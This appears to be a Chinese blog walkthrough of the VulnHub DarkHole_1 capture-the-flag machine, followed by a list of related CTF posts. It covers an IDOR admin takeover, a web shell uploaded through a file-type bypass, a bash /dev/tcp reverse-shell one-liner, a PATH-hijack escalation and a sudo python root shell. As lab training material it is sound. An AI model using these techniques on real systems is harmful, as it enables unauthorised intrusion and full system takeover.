DarkHole_1靶机渗透流程
VulnHub_DarkHole1靶机渗透流程
注意:部署时,靶机的网络连接模式必须和kali一致,让靶机跟kali处于同一网段,这用kali才能扫出靶机的主机
1. 信息收集
1.1 探测IP
使用nmap扫描同一个段下存活的IP
nmap 192.168.157.0/24
发现192.168.157.138开放了80端口,访问后确认为此次渗透的靶机

1.2 详细信息扫描
nmap -A -p- 192.168.157.138
-A:启用操作系统探测与版本检测、脚本扫描和敏感性信息探测等
-p-:扫描所有端口,从0到65535

显示开放了22、80端口,开启了ssh、http服务
1.3 敏感目录扫描
dirsearch -u 192.168.157.138 -e *
-e *:递归枚举目录,使用*匹配所有目录

1.4 指纹收集
whatweb是一款网页指纹识别工具,可以从网页内容与源代码中提取特征,判断网页后端技术。
whatweb -v 192.168.157.138
-v 参数表示启用冗余模式,可以获取更详细的识别信息

2. 渗透流程
2.1 注册账户登录

这里注意到我登录新注册的用户时 id=2,那么访问一下 id=1

“不允许访问其他用户信息” 确实存在,应该是管理员用户
2.2 越权登录admin
有修改密码的位置,抓一下修改密码的包

id 处可以产生越权,改成 id=1 后发包,即可用密码1111登录admin用户

2.3 文件上传获取shell
多出了一个文件上传区域,传个一句话木马

限制了文件上传类型只能为 jpg、png、gif
那么先抓包改包,尝试后缀名为 phtml 时成功上传并执行

连接蚁剑

2.4 反弹shell
在john目录下发现可执行文件 toto

利用蚁剑写一个shell脚本进行连接
bash -c 'bash -i >& /dev/tcp/192.168.157.131/9999 0>&1'

利用bash,反弹一个shell给kali

连接成功
2.5 提权获取john用户shell
查看toto文件

发现uid为john,可以利用环境变量来切换得到john用户shell。在/tmp目录下
echo "/bin/bash" > /tmp/id
chmod +x /tmp/id
export PATH=/tmp:$PATH
./toto
GPT的解释:
这段代码做了以下几件事:
- echo "/bin/bash" > /tmp/id : 在/tmp目录下创建一个文件id,内容是/bin/bash
- chmod +x /tmp/id : 给id文件添加执行权限
- export PATH=/tmp:$PATH : 将/tmp目录添加到PATH环境变量中
所以总的效果是在/tmp下创建了一个名为id的bash执行文件,并将其添加到了PATH路径中。
这 Bring 了一定安全隐患,因为现在直接输入id命令,会执行/tmp下的id文件,也就相当于执行了一个bash shell。
这种通过修改PATH实现攻击的技术,我们称之为PATH变量攻击。攻击者通过控制某个目录或文件的名称,并修改PATH环境变量,使得该目录下的某文件在执行某些命令时被执行,达到攻击目的。

拿到john用户下的flag:DarkHole{You_Can_DO_It}
3. 获取root权限
查看john用户的password :root123

ssh连接,登录john

搜一下具有sudo权限的命令

用户可以编辑并执行root权限的python脚本
那我们将获取shell的命令加入到python脚本中再去执行就可以获得root权限
echo 'import os;os.system("/bin/bash")' > file.py
sudo python3 /home/john/file.py

得到root用户的flag:DarkHole{You_Are_Legend}
DarkHole_1靶机渗透流程的更多相关文章
- DC-9 靶机渗透测试
DC-9 渗透测试 冲冲冲,好好学习 DC系列的9个靶机做完了,对渗透流程基本掌握,但是实战中出现的情况千千万万,需要用到的知识面太广了,学不可以已. 靶机IP: 172.66.66.139 kali ...
- 22. CTF综合靶机渗透(十五)
靶机说明: Game of Thrones Hacking CTF This is a challenge-game to measure your hacking skills. Set in Ga ...
- 21. CTF综合靶机渗透(十四)
靶机说明: I created this machine to help others learn some basic CTF hacking strategies and some tools. ...
- 18. CTF综合靶机渗透(十一)
靶机描述: SkyDog Con CTF 2016 - Catch Me If You Can 难度:初学者/中级 说明:CTF是虚拟机,在虚拟箱中工作效果最好.下载OVA文件打开虚拟框,然后选择文件 ...
- 17. CTF综合靶机渗透(十)
靶机描述:欢迎来到超级马里奥主机!这个虚拟机是对真实世界场景场景的模拟.目标是在VM中找到2个标志.根是不够的(对不起!)VM可以以多种方式开发,但请记住枚举是关键.挑战的程度是中等的.感谢VDBAN ...
- hacknos-player靶机渗透
靶机下载地址https://www.vulnhub.com/entry/hacknos-player,459/ 网络配置 该靶机可能会存在无法自动分配IP的情况,所以无法扫描到的情况下需要手动配置获取 ...
- VulnHub CengBox2靶机渗透
本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...
- VulnHub PowerGrid 1.0.1靶机渗透
本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/power ...
- DeRPnStiNK靶机渗透
DeRPnStiNK靶机渗透 常规的信息搜集 扫到了phpmyadmin以及wordpress并在后台发现弱密码,即admin,admin 这里对wordpress进行了扫描: 扫描插件: searc ...
- BTRsys1~2系列靶机渗透
BTRsys系列靶机渗透 BTRsys1 端口发现加目录扫描. 发现目录:http://192.168.114.161/login.php 尝试弱密码失败,查看源代码. <script type ...
随机推荐
- U.2与M.2接口
U.2接口 U.2接口别称SFF-8639,是由固态硬盘形态工作组(SSD Factor Work Group)推出的接口规范.U.2接口不但能支持SATA-Express(一种PCI-E与SATA混 ...
- 纯JS实现多张图片无缝滚动和多张图片上下滚动的效果--JavaScript实例集锦(初学)
我们会看到很多的网站上会使用多张图片无缝滚动的效果. 下面我就介绍几种纯JS实现多张图片的无缝滚动,并实现鼠标移到图片上运动停止的效果,可以控制图片左右滚动.1.效果展示: 代码实现: <!DO ...
- 那什么是URL、URI、URN?
URI Uniform Resource Identifier 统一资源标识符 URL Uniform Resource Locator 统一资源定位符 URN Uniform Resource Na ...
- 最好的在线PDF转换工具服务
工作中有时候会碰到需要转换PDF文件的情况,现在网上就要很多免费的在线工具,可以进行PDF文件的转换,下面就来介绍一些可以直接在浏览器中将文档.电子表格.和图片转换为PDF或者互相转换的服务工具. ...
- powerpoint 无法打开文件
PowerPoint 无法打开文件 出现的问题 今天下载老师放在学习通的ppt,居然不能打开,记录一下 点击修复后出现: 这并不是文件损坏了,而是powerpoint出于安全的考虑,为了保护我们的计算 ...
- ETL工具-nifi干货系列 第七讲 处理器JoltTransformJSON(续)
第六讲教程只简单介绍了Jolt的chain转换模式,本节课介绍下Jolt的各种转换模式. 点击的处理器JoltTransformJSON高级配置选项,进行测试Jolt的转换模式. 1.Cardinal ...
- The remote name could not be resolved
HTTP The remote name could not be resolved HTTP Status:NameResolutionFailure
- SRE 必备利器:域名 DNS 探测排障工具
问题背景 访问某个 HTTP 域名接口,偶发性超时,原因可能多种多样,比如 DNS 解析问题.网络质量问题.对端服务负载问题等,在客户端没有良好埋点的情况下,排查起来比较费劲,只能挨个方向尝试,这里送 ...
- element-ui 合并行或列 table :span-method(行合并)
element-ui 官网案例:table合并行或列 element-ui官网中关于行合并的例子是根据行号进行合并的,这显然不符合我们日常开发需求,因为通常我们table中的数据都是动态生成的,所以需 ...
- 2. Elasticsearch 使用插件和kibana操作
引言 在上一篇文章中1. Elasticsearch 入门安装与部署 已经教了大家如何在linux系统中安装和启动Elasticsearch,本文就带大家一起学习如何操作 Elasticsearch. ...